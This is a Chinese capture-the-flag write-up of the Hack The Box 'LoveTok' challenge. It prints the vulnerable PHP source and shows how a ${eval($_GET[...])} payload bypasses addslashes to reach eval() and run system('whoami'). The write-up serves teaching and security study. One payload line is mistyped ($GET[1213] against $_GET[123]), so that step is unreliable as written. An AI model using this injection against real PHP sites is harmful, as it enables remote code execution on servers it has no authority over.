如何绕过addslashes

如何绕过addslashes

相信但凡接触过一点点代码审计的朋友都会经常见到addslashes函数,并且对这个函数又爱又恨。爱它是因为在写报告中的解决方法的时候直接加上addslashes完事,恨它是因为多少条攻击链都折在这个函数下了。今天接住Hack The Box上面的一道题来给大家提供一种绕过addslashes函数的方法。

LoveTok

打开网页之后没有可以输入的地方,页面最下方有一个倒计时,看起来距离我找到真爱的时间并不长了,但我是不可能等那么久的。

这道题是一道代码审计的题目,将源代码下载下来打开,从路由开始看起。new函数将有可能出现的批量输入存入数组中,match函数依次执行特定的类中的方法。看到这里我以为是跟反序列化有关的题目,还在仔细研究解析过程,准备为以后构建反序列化字符串铺路。但是路由文件一直看到最底下也没有什么可以利用的地方,最后一个view函数包含了当前路径下的某个php文件,于是我的思路又被引诱到了文件包含漏洞中去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
<?php
class Router
{
public $routes = [];

public function new($method, $route, $controller)
{
$r = [
'method' => $method,
'route' => $route,
];

if (is_callable($controller))
{
$r['controller'] = $controller;
$this->routes[] = $r;
}
else if (strpos($controller, '@'))
{
$split = explode('@', $controller);
$class = $split[0];
$function = $split[1];

$r['controller'] = [
'class' => $class,
'function' => $function
];

$this->routes[] = $r;
}
else
{
throw new Exception('Invalid controller');
}
}

public function match()
{
foreach($this->routes as $route)
{
if ($this->_match_route($route['route']))
{
if ($route['method'] != $_SERVER['REQUEST_METHOD'])
{
$this->abort(405);
}
$params = $this->getRouteParameters($route['route']);

if (is_array($route['controller']))
{
$controller = $route['controller'];
$class = $controller['class'];
$function = $controller['function'];

return (new $class)->$function($this,$params);
}
return $route['controller']($this,$params);
}
}

$this->abort(404);
}

public function _match_route($route)
{
$uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?'));
$route = explode('/', $route);

if (count($uri) != count($route)) return false;

foreach ($route as $key => $value)
{
if ($uri[$key] != $value && $value != '{param}') return false;
}

return true;
}

public function getRouteParameters($route)
{
$params = [];
$uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?'));
$route = explode('/', $route);

foreach ($route as $key => $value)
{
if ($uri[$key] == $value) continue;
if ($value == '{param}')
{
if ($uri[$key] == '')
{
$this->abort(404);
}
$params[] = $uri[$key];
}
}

return $params;
}

public function abort($code)
{
http_response_code($code);
exit;
}

public function view($view, $data = [])
{
extract($data);
include __DIR__."/views/${view}.php";
exit;
}
}

路由文件没有什么收获,于是我把目光转到了index.php文件中。文件下方调用了new函数,new调用了TimeController类中的index函数,但是函数但是输入都是不可控的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
date_default_timezone_set('UTC');

spl_autoload_register(function ($name){
if (preg_match('/Controller$/', $name))
{
$name = "controllers/${name}";
}
else if (preg_match('/Model$/', $name))
{
$name = "models/${name}";
}
include_once "${name}.php";
});

$router = new Router();
$router->new('GET', '/', 'TimeController@index');

$response = $router->match();

die($response);

打开TimeController类文件,终于发现了用户可控的输入format,这个输入被传参传进了TimeModel函数中,被作为date的标识为生命时间的表示方式。到这里问题来了,getTime函数使用了eval这个php危险函数,并且将用户可控输入fromat以拼接的方式传入到了参数中。这里自然想到了RCE,但是很可惜,format在拼接到字符串里面之前经过了addslashes函数,引号前面的反斜线会让eval函数无法正确执行php命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// TimeController.php
<?php
class TimeController
{
public function index($router)
{
$format = isset($_GET['format']) ? $_GET['format'] : 'r';
$time = new TimeModel($format);
return $router->view('index', ['time' => $time->getTime()]);
}
}

// TimeModel.php
<?php
class TimeModel
{
public function __construct($format)
{
$this->format = addslashes($format);

[ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
$this->prediction = "+${d} day +${h} hour +${m} minute +${s} second";
}

public function getTime()
{
eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
return isset($time) ? $time : 'Something went terribly wrong';
}
}

使用复杂变量绕过addslashes

这里介绍一种方法:使用复杂变量绕过addslashes。在PHP中有着很灵活的变量命名方式,可以直接在代码中声明变量名称,也可以用更隐晦的方式来声明变量名称,这种技术在写能过绕过waf的webshell时经常用到。

PHP中单引号包裹的字符串内容不会被解析,双引号包裹的字符串中变量形式的字符串会被解析。

PHP中任何带有字符串表达式,数组元素或者是对象属性的标量变量都可以使用下面这种语法。只需要将表达式写在字符串之外,然后将其括在花括号中,并带上美元符号${},花括号中的变量就会被当作变量名称解析。

接下来我们会到上面的题目中.

1
2
$this->format = addslashes($format);
eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');

为了绕过addslashes函数,我们需要自己定义一个不会经过addslashes函数的变量,这个变量的值就是我们想要执行的bash命令结果。以下面的命令为例

123 = system('whoami');

变量123并不经过addslashes函数,接下来执行这个变量中的内容。

eval($_GET[123])

注意观察,从一开始的第一条命令中有两个单引号,到现在完全没有任何引号。我们将这个命令的结果写入到花括号之中,让php去解析。

format=${eval($GET[1213])}

到此,原始代码的eval函数应该如下。system('whoami')会先执行,结果作为变量123的值拼接进入字符串。

1
eval('$time = date("${eval($_GET[123])};", strtotime($this->prediction));')

让我们来看看结果